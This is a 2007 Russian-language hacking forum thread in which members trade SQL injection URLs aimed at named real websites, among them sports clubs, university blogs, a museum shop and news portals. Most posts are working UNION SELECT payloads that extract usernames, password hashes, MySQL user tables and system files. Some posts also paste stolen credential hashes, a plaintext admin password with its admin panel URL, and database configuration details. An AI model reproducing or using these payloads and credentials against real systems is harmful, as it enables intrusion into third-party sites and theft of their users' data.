SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. злюка

    злюка Elder - Старейшина

    Joined:
    11 Nov 2005
    Messages:
    337
    Likes Received:
    132
    Reputations:
    69
    хм...INFORMATION_SCHEMA.TABLES юзал тока поимел какую то херь..типа charatacter set...ща алкоголь из башки выйдет..обдумаю
    а по поводу префикса таблиц то пробовал ds_Esir ...промахнулся

    P.S понял теперь как INFORMATION_SCHEMA.TABLES читать :)
     
    #401 злюка, 4 Feb 2007
    Last edited: 5 Feb 2007
  2. }{0TT@БЬ)Ч

    }{0TT@БЬ)Ч Elder - Старейшина

    Joined:
    20 Jan 2006
    Messages:
    269
    Likes Received:
    140
    Reputations:
    31
    вот от меня ;)
    http://www.murmansport.ru/modules.php?op=modload&name=News&file=article&sid=-865+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+nuke_users/*
    похоже что это PHP-Nuke, пробовал колонки которые должны быть ни одной не подобрал или админ сцуко добавил в них префикс))))

    еще одна :D
    http://www.advokaty.net/referat.php?id=-5933+union+select+1,AES_DECRYPT(AES_ENCRYPT(email,0x71),0x71),3,4,5,6,7+from+advokaty/*
     
    #402 }{0TT@БЬ)Ч, 4 Feb 2007
    Last edited: 5 Feb 2007
    1 person likes this.
  3. InferNo23

    InferNo23 Elder - Старейшина

    Joined:
    5 Sep 2006
    Messages:
    183
    Likes Received:
    126
    Reputations:
    42
    Zhaba.ru
    http://zhaba.ru/flash-games.php?page=-1+union+select+1,username,user_password,4,5,6,7,8,9,user(),11+from+phpbb_users+where+user_id=3/*

    Tamizdat.org
    http://www.tamizdat.org/article.php?id=99999+union+select+1,2,user,4,5,6,7,password,9,10,11,12,13+from+mysql.user/*

    AllAboutJazz.com
    http://www.allaboutjazz.com/php/article.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,user(),15,16,17,18,19,20,21,version(),23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,database(),39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,current_date(),73,74,75,76,77/*

    Fujirangefinder.com
    http://fujirangefinder.com/user.php?id=-1+union+select+1,current_date(),user(),4,user(),version(),database(),8,9,10,11/*

    Fotoforma.ru
    http://www.fotoforma.ru/texts.php?ID=-1+union+select+1,2,3,4,5/*

    Cineclassic.com
    http://www.cineclassic.com/fiche.php?film_id=999+union+select+1,2,3,4,user(),6,7,database(),9,10,11,version(),13,current_date(),15,16,17,18,19,20,21,22,23/*
     
    1 person likes this.
  4. Lancellot

    Lancellot Member

    Joined:
    9 Aug 2006
    Messages:
    138
    Likes Received:
    23
    Reputations:
    7
    http://blogsforlearning.msu.edu/articles/view.php?id=-1%20union%20select+1,2,3,4,5,6,7,8,9/*

    посоветуйте что дальше можно зделать!
     
  5. Termin@L

    Termin@L Elder - Старейшина

    Joined:
    7 Dec 2006
    Messages:
    183
    Likes Received:
    43
    Reputations:
    53
    не парься -вот
    http://www.esir.ru/ru/press/pressrelis/?id_st=-99+union+select+1,concat(login,char(58),passwd,char(58),email)+from+ds_users/*
    90 таблиц перебрал блин
     
    1 person likes this.
  6. }{0TT@БЬ)Ч

    }{0TT@БЬ)Ч Elder - Старейшина

    Joined:
    20 Jan 2006
    Messages:
    269
    Likes Received:
    140
    Reputations:
    31
    а нах переберал? я же выше написал :D
     
  7. Termin@L

    Termin@L Elder - Старейшина

    Joined:
    7 Dec 2006
    Messages:
    183
    Likes Received:
    43
    Reputations:
    53
    Пост пропустил)))
    http://www.crdf.ru/?id=15'
    http://www.pratt.duke.edu/news/?id=-1'
    не могу кол-во ст подобрать
     
  8. }{0TT@БЬ)Ч

    }{0TT@БЬ)Ч Elder - Старейшина

    Joined:
    20 Jan 2006
    Messages:
    269
    Likes Received:
    140
    Reputations:
    31
    Что тут советовать бери и расшифровывай ;)
    http://blogsforlearning.msu.edu/articles/view.php?id=-1+union+select+1,2,3,concat(user_login,char(58),user_pass,char(58),user_email),5,6,7,8,9+from+wp_users/*
     
    1 person likes this.
  9. Thanat0z

    Thanat0z Негрин

    Joined:
    6 Dec 2006
    Messages:
    627
    Likes Received:
    498
    Reputations:
    311
    нашел на 777.biz.ua инъекцию, а потом с огромной помощью c411k и _-[A.M.D]HiM@S-_ была добыта разнообразная инфа.

    Code:
    http://777.biz.ua/photo_big.php?id_p=-1686+union+select+1,2,concat(user,char(58),password),4,version(),6,7,8,9+from+mysql.user
    http://777.biz.ua/photo_big.php?id_p=-1686+union+select+1,2,concat(user,char(58),password),4,version(),6,7,8,9+from+mysql.user+limit+4,3 
    http://777.biz.ua/photo_big.php?id_p=-1686+union+select+1,2,load_file(char(47,101,116,99,47,112,97,115,115,119,100)),4,5,6,7,8,9+from+mysql.user/*
    
    admin:kRX.3VVi1kp0Q
    Anna:3uqauoqXBOygw
    Lina:GkgDkPlYVkkiM:zaq1qaz
    Tina:gpL6.5zhbQLic
    Yuve:1EmcyGHTQK5xY
    frukt:6fsFeWu7hSTzA
    vini:ijZtKQgJtn7JM
    luke:BWilMcUu7Zq.Y
    bandit:_UWF9hYsfZlVY


    хороший кусок конфига

    $myCon['user']="frukt";
    $myCon['password']="zaq1";
    //$myCon['host']="82.144.221.59";
    //$myCon['host']="213.186.114.123";
    $myCon['host']="localhost";
    $myCon['db']="777_db1";

    главные базы

    lucky\_mychat1
    eximstats
    horde
    leechprotect
    lucky\_db1


    [+] _-[A.M.D]HiM@S-_
    [+] c411k
     
    #409 Thanat0z, 6 Feb 2007
    Last edited: 22 Feb 2007
    1 person likes this.
  10. InferNo23

    InferNo23 Elder - Старейшина

    Joined:
    5 Sep 2006
    Messages:
    183
    Likes Received:
    126
    Reputations:
    42
    Sklon.ru
    http://www.sklon.ru/print.php?p=world-news&m=menu1&l=ru&view=-1+union+select+1,2,3,table_name,5,6,7+from+INFORMATION_SCHEMA.TABLES+limit+71,72/*

    Venus.ru
    http://www.venus.ru/news.php?id=-1+union+select+1,2,3,4,user(),6,version(),database(),9,10,11/*

    ppkp.ru
    http://www.pkpp.ru/news.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12/*

    Ezgulik.org
    http://www.ezgulik.org/news.php?id=-1+union+select+1,2,version(),user(),5,6/*
     
    1 person likes this.
  11. Termin@L

    Termin@L Elder - Старейшина

    Joined:
    7 Dec 2006
    Messages:
    183
    Likes Received:
    43
    Reputations:
    53
    http://football.sport.com.ua/news.phtml?id=20238888+union+select+concat(username,char(58),password),2,3,4,5+from+users/*
     
  12. Lancellot

    Lancellot Member

    Joined:
    9 Aug 2006
    Messages:
    138
    Likes Received:
    23
    Reputations:
    7
    http://www.schulweb.de/de/archiv/einzelergebnis.html?Id=-1+union+select+concat(user,char(58),password)+from+mysql.user/*
    чето пасс нельзя посотреть
     
  13. ice1k

    ice1k Banned

    Joined:
    1 Jan 2007
    Messages:
    462
    Likes Received:
    382
    Reputations:
    490
    http://www.schulweb.de/de/archiv/einzelergebnis.html?Id=-1+union+select+concat(user,char(58),password)+from%20+mysql.user+limit+1,1/*
     
    1 person likes this.
  14. ice1k

    ice1k Banned

    Joined:
    1 Jan 2007
    Messages:
    462
    Likes Received:
    382
    Reputations:
    490
    [Спартак]

    http://www.spartak.ru/season06-07/games/calendar.php?month=-99+union+select+1,2,3,4,5,6,7,8,9,user(),11/*
    http://www.hc-spartak.ru/online/?id=999999'+union+select+1,2,concat(nick,0x3a,pass),4,5,6+from+users/*
    admin:smadmin
    http://www.hc-spartak.ru/admin
    :)
     
  15. fod

    fod Member

    Joined:
    5 Feb 2007
    Messages:
    11
    Likes Received:
    5
    Reputations:
    10
    http://www.mymaika.ru/catalog.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,concat(0x3c62207374796c653d22636f6c6f723a20234138413841383b20666f6e742d73697a653a2032307078223e44423a20,database(),0x3c6272202f3e4c6f67696e3a20,user(),0x3c6272202f3e4d7953514c3a20,version(),0x3c6272202f3e3c2f623e),20,21,22/*
     
    #415 fod, 7 Feb 2007
    Last edited: 7 Feb 2007
  16. *D1VER

    *D1VER Elder - Старейшина

    Joined:
    5 Dec 2006
    Messages:
    108
    Likes Received:
    67
    Reputations:
    21
    http://kizhi.museum.karelia.ru/shop/shop.php?categ=-1+union+select+1,2,3,4,5,user(),7,8/*
     
    1 person likes this.
  17. fod

    fod Member

    Joined:
    5 Feb 2007
    Messages:
    11
    Likes Received:
    5
    Reputations:
    10
    http://onlog.ru/?h=parts&id=-1+union+select+table_name,concat(0x3c62207374796c653d22636f6c6f723a20236666666666663b20666f6e742d73697a653a2032307078223e44423a20,database(),0x3c6272202f3e4c6f67696e3a20,user(),0x3c6272202f3e4d7953514c3a20,version(),0x3c6272202f3e3c2f623e)+from+INFORMATION_SCHEMA.TABLES+limit+1383,1/*
     
    1 person likes this.
  18. RaDDeaD

    RaDDeaD Elder - Старейшина

    Joined:
    28 Dec 2006
    Messages:
    44
    Likes Received:
    18
    Reputations:
    1
    Теперь можно и спать идти :D

    Чтото раздобыл
     
    1 person likes this.
  19. ice1k

    ice1k Banned

    Joined:
    1 Jan 2007
    Messages:
    462
    Likes Received:
    382
    Reputations:
    490
    http://mymaika.ru/?id=-999+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,concat(name,0x3a,pwd),20,21,22+from+maika_users/*
     
  20. Termin@L

    Termin@L Elder - Старейшина

    Joined:
    7 Dec 2006
    Messages:
    183
    Likes Received:
    43
    Reputations:
    53
    http://mp3zzz.ru/alb/-99
    я не могу подобрать кол-во столбцов, это вообще инъекция?
     
Thread Status:
Not open for further replies.